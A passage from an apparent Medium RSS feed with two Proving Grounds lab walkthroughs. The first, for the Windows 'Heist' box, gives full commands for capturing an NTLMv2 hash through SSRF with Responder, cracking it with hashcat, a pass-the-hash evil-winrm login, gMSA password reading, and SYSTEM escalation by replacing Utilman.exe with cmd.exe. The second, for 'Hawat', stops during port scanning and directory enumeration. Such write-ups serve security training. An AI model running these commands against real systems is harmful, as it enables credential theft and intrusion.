(Server-Side Request Forgery) by navigating to the URL “http://&lt;target_IP&gt;:8080/&lt;filename&gt;”.</p><ul><li><strong><em>Navigated to “</em></strong><a href="http://192.168.231.165:8080/"><strong><em>http://192.168.231.165:8080/</em></strong></a><strong><em>&quot; and found the following webpage:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bCu-gGZqcx9Hcd0y" /><figcaption>Secure Web Browser</figcaption></figure><ul><li><strong><em>On our Kali machine, we enter “updog -p 445” to launch an HTTP server.</em></strong></li><li><strong><em>We click the search icon after entering the following in the “Enter URL” bar.</em></strong></li></ul><p><a href="http://[Kali">http://[Kali</a> IP]:445</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HJMcHSZgZds2eejD" /><figcaption>Connect to Kali HTTP Server</figcaption></figure><ul><li><strong><em>We can access our HTTP server. This confirmed an SSRF vulnerability</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*ORy3o5oDaUtillHb" /><figcaption>Target Connecting To Kali HTTP Server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/0*ys59momnawmtRzuz" /><figcaption>Target Accessing Kali HTTP Server Via Web Browser</figcaption></figure><p>We notice that the URL would navigate to the file but it would not execute the file. This gave us an idea that we might be able to use Responder to exploit the SSRF vulnerability and intercept authorization credentials.</p><ul><li><strong><em>The following webpage appears when we click the utils.py file on our web server.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOHkC-SR5bWB9jUaT2CsVg.png" /><figcaption>utils.py</figcaption></figure><ul><li><strong><em>We add the filename to the initial search, however, causes it to read the file we choose but not to execute it.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0FbZ8FoYpCerPr6E" /><figcaption>Secure Web Browser</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pr7KMUaO5dlPU5zt.png" /><figcaption>utils.py file</figcaption></figure><ul><li><strong><em>An attacker may occasionally be able to cause the server to connect to random external systems by exploiting an SSRF vulnerability. This could expose private information, including login passwords.</em></strong></li><li><strong><em>Responder is a specialized tool that can be used to intercept authorization credentials when a system is connected arbitrarily.</em></strong></li><li><strong><em>With this data, we should be able to configure Responder to generate a fake WPAD proxy server and use the web server’s URL search bar to look up any domain. Once the request is sent, the responder should intercept it and release the user’s hash for the web server.</em></strong></li></ul><h3>Exploitation</h3><h4>SSRF Leading To Retreiving Username And NTLMv2 Hash Through Responder</h4><p>We set up Responder on our machine with the following command: “responder -I tun0 -wv”. We then send a request to our Kali IP on a port that is not open, which results in a NetNTLMv2 hashed password for the user “enox” being dumped into the Responder output. We crack the hashed password utilizing hashcat, which reveals the password “california”.</p><ul><li><strong><em>We start Responder with the following command:</em></strong></li></ul><p>responder -I tun0 -wv</p><ul><li>We forward a request to our Kali IP on port 80, which did not show as open in our previous rustscan.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*McRf9BQvRZH9Sjup.png" /><figcaption>Forwarding Request To Kali IP</figcaption></figure><ul><li><strong><em>After sending the request, our Responder response contains an NTLMv2 hash for the user enox.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/0*8-EwVRt_KRKVjOMA" /><figcaption>Responder | NTMv2 Hash For User HEIST\enox</figcaption></figure><ul><li><strong><em>We copy the entire hash including the username and use a text editor to paste it into a file named hash.txt. After that, we use the following commands to find the cracking mode needed for this hash type and then crack it:</em></strong></li></ul><p>hashcat -h | grep -i “ntlmv2” hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt</p><ul><li><strong><em>After no time at all, the hash is cracked and the password is placed in the “cracked.txt” file</em></strong></li><li><strong><em>We examine the “cracked.txt” file, revealing the password California and the username enox.</em></strong></li></ul><p>We then use crackmapexec to establish a remote session with the user enox. We run the command “crackmapexec winrm &lt;target_IP&gt; -d heist.offsec -u enox -p california -x “whoami”” and discover that the user “heist/enox” is running on the target machine. We then establish a winrm shell using the command “evil-winrm -i &lt;target_IP&gt; -u enox -p california”.</p><ul><li>We type the following command and discover that the target machine is being used by user “heist/enox”:</li></ul><p>crackmapexec winrm 192.168.123.165 -d heist.offsec -u enox -p california -x “whoami”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lRxRcCUMwNOkvn6Z" /><figcaption>Crackmapexec Command Execution</figcaption></figure><ul><li>We receive the following winrm shell when we typed “evil-winrm -i 192.168.123.165 -u enox -p california”:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*WfUeM9tHEgV_Bxpi" /><figcaption>evil-winrm | enos</figcaption></figure><h3>Lateral Movement to User</h3><p>After gaining access to the enox user account, we enumerated the system using “net user enox” and find that the user is a part of the “Web Admins” group memberships. We attempt to enumerate privilege escalation vectors using PowerUp.ps1 and other privilege escalation scripts, but we do not find anything useful.</p><p>We then use Bloodhound to map out the Active Directory environment by running the tool on our kali machine with “bloodhound”. We log in to the Bloodhound console using our neo4j credentials by typing “sudo neo4j console” in another terminal session.</p><p>We find that the “svc_apache” account could read the GMSA password, which we were able to retrieve using GMSAPasswordReader.exe. We then use the NTLM hash of the svc_apache account to establish a session with the account using evil-winrm.</p><ul><li><strong><em>We type “net user enox” and observe that the current user “enox” belongs to the “Web Admins” group.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*QEPhghjWmhwqVtUs.png" /><figcaption>net user enox</figcaption></figure><ul><li><strong><em>We use PowerUp.ps1 and other privilege escalation scripts in an attempt to list Privilege Escalation vectors, but nothing is discovered.</em></strong></li><li><strong><em>On our Kali machine, we type “sudo neo4j console” and enter our neo4j credentials to log into the console.</em></strong></li><li><strong><em>On our Kali machine, we open a another terminal, type “bloodhound,” and log on to bloodhound.</em></strong></li><li><strong><em>We open a new terminal and enter the below command. This retrieves the machines, domains, groups and users information in .json format from the target machine.</em></strong></li></ul><p>bloodhound-python -u enox -p california -ns 192.168.81.165 -d heist.offsec -c all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xUU_tpoiPXWvVnqq.png" /><figcaption>bloodhound-python</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*1I0AmYJ67FWeneaK.png" /><figcaption>bloodhound-python active directory json active directory information</figcaption></figure><ul><li><strong><em>We click “upload data” after navigating to Bloodhound. Choose every .json file and press open. Information about the target machine’s active directory was uploaded to Bloodhound.</em></strong></li><li><strong><em>To view a list of pre-built queries, we click the hamburger icon in Bloodhound’s upper left corner, and then select the “Analysis” option.</em></strong></li><li><strong><em>To view a list of pre-built queries, we click the hamburger icon in Bloodhound’s upper left corner, and then select the “Analysis” option.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/0*7Zl1GSxFvO_8PbSR" /><figcaption>Bloodhound Analysis</figcaption></figure><p>-Moving from the bottom up on this list, nothing was providing data until we navigate to <strong>Shortest Paths to High Value Targets</strong>, which revealed nothing interesting about our current user; however, it did show some interesting info on the service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5uUvJX8UUh3X_I2j" /><figcaption>Bloodhound | GMSA Password Read</figcaption></figure><ul><li><strong><em>This indicates that the svc_apache service account is a Group Managed Service Account (gMSA) since it can see the GMSA password.</em></strong></li><li><strong><em>-Using the following PowerShell command, we can confirm that this account is a service account with GMSA enabled:</em></strong></li></ul><p>Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq “msDS-GroupManagedServiceAccount”}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4sLCxT7nvaiLAsJv.png" /><figcaption>svc_apache | GMSA Enabled</figcaption></figure><ul><li><strong><em>We upload PowerView.ps1 to the target machine.</em></strong></li><li><strong><em>We type the following command to load PowerView.ps1 onto the target machine.</em></strong></li></ul><p>. .\PowerView.ps1</p><p>We type the following command to find info about which groups have permissions to retrieve the password for the svc_apache service account.</p><p>Get-ADServiceAccount -Filter {name -eq ‘svc_apache’} -Properties * | Select CN,DNSHostName,DistinguishedName,MemberOf,PrincipalsAllowedToRetrieveManagedPassword</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*51yfB-Sbx8t-OzrbIPjdBA.png" /><figcaption>svc_apache | Managed Service Accounts | Remote Management Users | Web Admins</figcaption></figure><ul><li><strong><em>This shows that the gMSA password may be retrieved by Web Admins group members. It was during the manual enumeration earlier that we discovered our current user **enox** belonged to this group.</em></strong></li><li><strong><em>Additionally, this demonstrates that the svc_apache account is a member of the remote users group. This implies that we may use evil-winrm to remotely log in with this account once we have extracted the gMSA password.</em></strong></li><li><strong><em>We run the following command to confirm if our user is a member of the Web Admins group just to be sure.</em></strong></li></ul><p>Get-ADGroupMember ‘Web Admins’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*QcOPSSaorao-p0o6" /><figcaption>Confirm user enox is part of the Web Admins Group with PowerView Command</figcaption></figure><h3>Lateral Movement Vector</h3><h4>Read GSMA Password</h4><ul><li><strong><em>To extract the NTLM hash from the active directory, we search for “gMSA password extraction tool github” on Google and discover the following tool.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y3OsKqmqcuWDs33Z" /><figcaption>Google | GMSA Password Extraction Tool Github</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mD0gEYxu3S7bHtpr" /><figcaption>GMSA Password Extraction Tools</figcaption></figure><ul><li><strong><em>We download the precompiled binary GMSAPasswordReader.exe to the target machine.</em></strong></li><li><strong><em>- We type the following command and receive the NTLM hash (the rc4_hmac is the same as the NTLM hash).</em></strong></li></ul><p>.\GMSAPasswordReader.exe — AccountName ‘svc_apache’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*amXYOSZyQoWF11cR" /><figcaption>RC4 Hash For svc-apache user</figcaption></figure><ul><li>- A winrm login session as user svc_apache$ was acquired when we type the following command.</li></ul><p>evil-winrm -i 192.168.81.165 -u svc_apache$ -H 4283B392D3647F3F26D614EE3AB9A80C</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoKBzkvxn-15O9aQp18P1A.png" /><figcaption>evil-winrm | svc_apache$</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Local Enumeration</strong></p><p>After gaining access to the svc_apache account, we discovered that the SeRestorePrivilege was enabled. We followed the privilege escalation steps, which involved creating a new service and running a command to get a cmd session as NT Authority\System.</p><ul><li><strong><em>We discover that SeRestorePrivilege is enabled when we type the following command.</em></strong></li></ul><p>whoami /priv</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L__z7ZTwTOhhCNKj" /><figcaption>SeRestorePrivilege Enabled</figcaption></figure><ul><li><strong><em>We search for “SeRestorePrivilege privilege escalation” on Google and discover the Hacktricks page that outlines the steps to take.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6aegYZvmnwwZfGnG" /><figcaption>SeRestorePrivilege Enabled Privilege Esclation Seps</figcaption></figure><h3>Privilege Escalation Vector</h3><h4>SeRestorePrivilege</h4><ul><li><strong><em>We find Utilman.exe by navigating to “C:\Windows\system32”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hsqD1L5OrD1qqUKo" /><figcaption>Utilman.exe</figcaption></figure><ul><li>We enter “ren Utilman.exe Utilman.old” and verify the filename modification:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y4S_5wCtDHPPZoIR" /><figcaption>Utilman.old</figcaption></figure><ul><li><strong><em>We type the following command to rename cmd.exe to Ultiman.exe</em></strong></li></ul><p>ren cmd.exe Utilman.exe</p><ul><li><strong><em>On our Kali machine, we navigate to a another terminal and enter the following command to enter the login page of the remote desktop session.</em></strong></li></ul><p>rdesktop 192.168.81.165</p><ul><li><strong><em>After entering “windows + u” keys on the RDP session login page, we launch a CMD session as NT authority/system.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*GriO7jcnZ8D1qVp1" /><figcaption>Windows Log In</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8zzJ48ljbO1XtSUH" /><figcaption>nt authority/system</figcaption></figure><h3><strong>Improved Skills</strong></h3><ul><li>Active Directory Enumeration</li><li>Bloodhound Enumeration</li><li>Crackmapexec Enumeration</li></ul><h3>Conclusion</h3><p>Heist is a challenging machine that requires a deep understanding of active directory enumeration, vulnerability exploitation, privilege escalation, and lateral movement. Through this walkthrough, we used various tools such as Responder, Bloodhound, and hashcat to gain access to the target machine. We also demonstrated how to escalate privileges using SeRestorePrivilege. This walkthrough will help you improve your skills in Active Directory enumeration and exploitation.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119">https://discord.com/users/679920497299161119</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9469ae735a34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Hawat (Easy) Linux Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-hawat-easy-linux-box-walkthrough-a-journey-to-offensive-security-cc24110b246f?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc24110b246f</guid>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Sun, 30 Apr 2023 20:06:45 GMT</pubDate>
            <atom:updated>2024-04-11T07:06:07.616Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Hawat (Easy) Linux Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>Welcome to my walkthrough of the Hawat box on the Offensive Security Proving Grounds platform. Hawat is a Linux machine with an easy difficulty rating. In this walkthrough, we will cover the steps to compromise the machine, including the information gathering, enumeration, and exploitation stages.</p><h3>Information Gathering:</h3><p>The first step is to gather information about the target machine. We start by scanning all TCP ports and the top 200 UDP ports. After the scan, we found the following open ports:</p><p>50080 (Apache httpd 2.4.46 ((Unix) PHP/7.4.15))</p><p>30455 (HTTP nginx 1.18.0)</p><p>17445 (HTTP unknown)</p><pre>#rustscan rustscan -a 192.168.151.147 --ulimit 5000 <br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Nmap? More like slowmap.🐢<br><br>[~] The config file is expected to be at &quot;/home/kali/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.151.147:22<br>Open 192.168.151.147:17445<br>Open 192.168.151.147:30455<br>Open 192.168.151.147:50080<br>[~] Starting Script(s)<br>[&gt;] Script to be run Some(&quot;nmap -vvv -p {{port}} {{ip}}&quot;)<br><br>[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-20 21:22 EDT<br>Initiating Ping Scan at 21:22<br>Scanning 192.168.151.147 [2 ports]<br>Completed Ping Scan at 21:22, 0.10s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 21:22<br>Completed Parallel DNS resolution of 1 host. at 21:22, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 21:22<br>Scanning 192.168.151.147 [4 ports]<br>Discovered open port 22/tcp on 192.168.151.147<br>Discovered open port 50080/tcp on 192.168.151.147<br>Discovered open port 30455/tcp on 192.168.151.147<br>Discovered open port 17445/tcp on 192.168.151.147<br>Completed Connect Scan at 21:22, 0.08s elapsed (4 total ports)<br>Nmap scan report for 192.168.151.147<br>Host is up, received conn-refused (0.086s latency).<br>Scanned at 2022-04-20 21:22:43 EDT for 0s<br><br>PORT      STATE SERVICE REASON<br>22/tcp    open  ssh     syn-ack<br>17445/tcp open  unknown syn-ack<br>30455/tcp open  unknown syn-ack<br>50080/tcp open  unknown syn-ack<br><br>Read data files from: /usr/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds<br><br><br><br> <br><br> <br><br>sudo nmap -sC -sV -O 192.168.151.147 -p 22,17445,30455,50080 <br><br>[sudo] password for kali:  <br><br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-20 21:26 EDT <br><br>Nmap scan report for 192.168.151.147 <br><br>Host is up (0.079s latency). <br><br>  <br><br>PORT      STATE SERVICE VERSION <br><br>22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0) <br><br>| ssh-hostkey:  <br><br>|   3072 78:2f:ea:84:4c:09:ae:0e:36:bf:b3:01:35:cf:47:22 (RSA) <br><br>|   256 d2:7d:eb:2d:a5:9a:2f:9e:93:9a:d5:2e:aa:dc:f4:a6 (ECDSA) <br><br>|_  256 b6:d4:96:f0:a4:04:e4:36:78:1e:9d:a5:10:93:d7:99 (ED25519) <br><br>17445/tcp open  unknown <br><br>| fingerprint-strings:  <br><br>|   GetRequest:  <br><br>|     HTTP/1.1 200  <br><br>|     X-Content-Type-Options: nosniff <br><br>|     X-XSS-Protection: 1; mode=block <br><br>|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate <br><br>|     Pragma: no-cache <br><br>|     Expires: 0 <br><br>|     X-Frame-Options: DENY <br><br>|     Content-Type: text/html;charset=UTF-8 <br><br>|     Content-Language: en-US <br><br>|     Date: Thu, 21 Apr 2022 01:26:28 GMT <br><br>|     Connection: close <br><br>|     &lt;!DOCTYPE html&gt; <br><br>|     &lt;html lang=&quot;en&quot;&gt; <br><br>|     &lt;head&gt; <br><br>|     &lt;meta charset=&quot;UTF-8&quot;&gt; <br><br>|     &lt;title&gt;Issue Tracker&lt;/title&gt; <br><br>|     &lt;link href=&quot;/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot; /&gt; <br><br>|     &lt;/head&gt; <br><br>|     &lt;body&gt; <br><br>|     &lt;section&gt; <br><br>|     &lt;div class=&quot;container mt-4&quot;&gt; <br><br>|     &lt;span&gt; <br><br>|     &lt;div&gt; <br><br>|     href=&quot;/login&quot; class=&quot;btn btn-primary&quot; style=&quot;float:right&quot;&gt;Sign In&lt;/a&gt;  <br><br>|     href=&quot;/register&quot; class=&quot;btn btn-primary&quot; style=&quot;float:right;margin-right:5px&quot;&gt;Register&lt;/a&gt; <br><br>|     &lt;/div&gt; <br><br>|     &lt;/span&gt; <br><br>|     &lt;br&gt;&lt;br&gt; <br><br>|     &lt;table class=&quot;table&quot;&gt; <br><br>|     &lt;thead&gt; <br><br>|     &lt;tr&gt; <br><br>|     &lt;th&gt;ID&lt;/th&gt; <br><br>|     &lt;th&gt;Message&lt;/th&gt; <br><br>|     &lt;th&gt;P <br><br>|   HTTPOptions:  <br><br>|     HTTP/1.1 200  <br><br>|     Allow: GET,HEAD,OPTIONS <br><br>|     X-Content-Type-Options: nosniff <br><br>|     X-XSS-Protection: 1; mode=block <br><br>|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate <br><br>|     Pragma: no-cache <br><br>|     Expires: 0 <br><br>|     X-Frame-Options: DENY <br><br>|     Content-Length: 0 <br><br>|     Date: Thu, 21 Apr 2022 01:26:28 GMT <br><br>|     Connection: close <br><br>|   RTSPRequest:  <br><br>|     HTTP/1.1 400  <br><br>|     Content-Type: text/html;charset=utf-8 <br><br>|     Content-Language: en <br><br>|     Content-Length: 435 <br><br>|     Date: Thu, 21 Apr 2022 01:26:28 GMT <br><br>|     Connection: close <br><br>|     &lt;!doctype html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP Status 400  <br><br>|     Request&lt;/title&gt;&lt;style type=&quot;text/css&quot;&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 400  <br><br>|_    Request&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt; <br><br>30455/tcp open  http    nginx 1.18.0 <br><br>|_http-title: W3.CSS <br><br>|_http-server-header: nginx/1.18.0 <br><br>50080/tcp open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.15) <br><br>|_http-title: W3.CSS Template <br><br>| http-methods:  <br><br>|_  Potentially risky methods: TRACE <br><br>|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15 <br><br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : <br><br>SF-Port17445-TCP:V=7.92%I=7%D=4/20%Time=6260B2C2%P=x86_64-pc-linux-gnu%r(G <br><br>SF:etRequest,623,&quot;HTTP/1\.1\x20200\x20\r\nX-Content-Type-Options:\x20nosni <br><br>SF:ff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nCache-Control:\x20no-cac <br><br>SF:he,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragma:\x20no-cach <br><br>SF:e\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-Type:\x20text <br><br>SF:/html;charset=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Thu,\x202 <br><br>SF:1\x20Apr\x202022\x2001:26:28\x20GMT\r\nConnection:\x20close\r\n\r\n\n&lt;! <br><br>SF:DOCTYPE\x20html&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n\t&lt;head&gt;\n\x20\x20\x20\x20\t&lt;m <br><br>SF:eta\x20charset=\&quot;UTF-8\&quot;&gt;\n\x20\x20\x20\x20\t&lt;title&gt;Issue\x20Tracker&lt;/t <br><br>SF:itle&gt;\n\t\t&lt;link\x20href=\&quot;/css/bootstrap\.min\.css\&quot;\x20rel=\&quot;styleshe <br><br>SF:et\&quot;\x20/&gt;\n\t&lt;/head&gt;\n\t&lt;body&gt;\n\t\x20\x20\x20\x20&lt;section&gt;\n\t\t&lt;div\ <br><br>SF:x20class=\&quot;container\x20mt-4\&quot;&gt;\n\t\t\t&lt;span&gt;\n\x20\t\t\t\n\t\x20\x20\x <br><br>SF:20\x20\x20\x20\x20\x20&lt;div&gt;\n\t\x20\x20\x20\x20\x20\x20\x20\x20\t&lt;a\x20 <br><br>SF:href=\&quot;/login\&quot;\x20class=\&quot;btn\x20btn-primary\&quot;\x20style=\&quot;float:right\ <br><br>SF:&quot;&gt;Sign\x20In&lt;/a&gt;\x20\n\t\x20\x20\x20\x20\x20\x20\x20\x20\t&lt;a\x20href=\&quot; <br><br>SF:/register\&quot;\x20class=\&quot;btn\x20btn-primary\&quot;\x20style=\&quot;float:right;marg <br><br>SF:in-right:5px\&quot;&gt;Register&lt;/a&gt;\n\t\x20\x20\x20\x20\x20\x20\x20\x20&lt;/div&gt;\n <br><br>SF:\x20\x20\x20\x20\x20\x20\x20\x20&lt;/span&gt;\n\t\t\t&lt;br&gt;&lt;br&gt;\n\t\t\t&lt;table\x <br><br>SF:20class=\&quot;table\&quot;&gt;\n\t\t\t&lt;thead&gt;\n\t\t\t\t&lt;tr&gt;\n\t\t\t\t\t&lt;th&gt;ID&lt;/th&gt;\ <br><br>SF:n\t\t\t\t\t&lt;th&gt;Message&lt;/th&gt;\n\t\t\t\t\t&lt;th&gt;P&quot;)%r(HTTPOptions,12B,&quot;HTTP/ <br><br>SF:1\.1\x20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nX-Content-Type-Options <br><br>SF::\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nCache-Control: <br><br>SF:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragma:\ <br><br>SF:x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-Len <br><br>SF:gth:\x200\r\nDate:\x20Thu,\x2021\x20Apr\x202022\x2001:26:28\x20GMT\r\nC <br><br>SF:onnection:\x20close\r\n\r\n&quot;)%r(RTSPRequest,24E,&quot;HTTP/1\.1\x20400\x20\r <br><br>SF:\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r <br><br>SF:\nContent-Length:\x20435\r\nDate:\x20Thu,\x2021\x20Apr\x202022\x2001:26 <br><br>SF::28\x20GMT\r\nConnection:\x20close\r\n\r\n&lt;!doctype\x20html&gt;&lt;html\x20la <br><br>SF:ng=\&quot;en\&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20 <br><br>SF:Request&lt;/title&gt;&lt;style\x20type=\&quot;text/css\&quot;&gt;body\x20{font-family:Tahoma, <br><br>SF:Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background <br><br>SF:-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\ <br><br>SF:x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bla <br><br>SF:ck;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}&lt;/s <br><br>SF:tyle&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20R <br><br>SF:equest&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&quot;); <br><br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port <br><br>Device type: general purpose <br><br>Running (JUST GUESSING): Linux 4.X|5.X (85%) <br><br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 <br><br>Aggressive OS guesses: Linux 4.15 - 5.6 (85%), Linux 5.0 (85%) <br><br>No exact OS matches for host (test conditions non-ideal). <br><br>  <br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . <br><br>Nmap done: 1 IP address (1 host up) scanned in 29.53 seconds </pre><p>To further enumerate the web server, we use the feroxbuster tool to scan port 50080 for directories. The scan reveals a “/cloud” directory. We navigate to the “/cloud” directory and find a login page for a cloud application. We try the default credentials, admin/admin, and can log in as an administrator.</p><h3>Port 50080</h3><ul><li><strong><em>We execute the feroxbuster scan command below and discover a “/cloud” directory</em></strong></li></ul><p>feroxbuster -u <a href="http://192.168.65.147:50080/">http://192.168.65.147:50080</a> -C 401 403 405 -t 100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*lfTxcUdeN0__j0j0jxSaqg.png" /><figcaption>Feroxbuster | /cloud directory found</figcaption></figure><ul><li><strong><em>By navigating to </em></strong><a href="http://192.168.65.147:50080/cloud,"><strong><em>http://192.168.65.147:50080/cloud,</em></strong></a><strong><em> we can access the PHP login page as seen below.</em></strong></li><li><strong><em>By using the login “admin” and password “admin,” we are able to access the admin account.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*CNw7GDogciHiyW7muPh9UQ.png" /><figcaption>Cloud Login Web Page</figcaption></figure><p>We find an issuetracker.zip file on the web application and download it to our Kali machine. We then analyze the source code in the “IssueControler.java” file and discover that Issue Tracker connects to a MySQL database and has a priority parameter. We also find a “/issue/checkByPriority” directory that may be vulnerable to SQL injection.</p><ul><li><strong><em>We select the file called issuetracker.zip.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*QibjqqtvU8vMCVnh4nekPA.png" /><figcaption>issuetracker.zip file</figcaption></figure><ul><li><strong><em>The following webpage appeared; we saved the zip file to our Kali machine by clicking the three dots and selecting “Descargar”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*YPJFrPtan92RgExz3mjIIg.png" /><figcaption>Saving zip file to local machine</figcaption></figure><ul><li><strong><em>We locate the “IssueControler.java” file by going through the source code folders listed below for the “issuetracker.zip” file:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*hR995cpG6UjU8q6KitiTlg.png" /><figcaption>src folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*HbR_heaN4lFpI1KzZi4JDA.png" /><figcaption>java folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*xXszfp2EOar-JO3CY83u6w.png" /><figcaption>com folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*uLDHhkhRQGPdq4U8zGoeKw.png" /><figcaption>issue folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*pGVctYU88eNXfOKvoiXFXg.png" /><figcaption>tracker folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*RI7tU6GkJaAKyCnjX3LsKw.png" /><figcaption>issues folder</figcaption></figure><figure><img alt="" 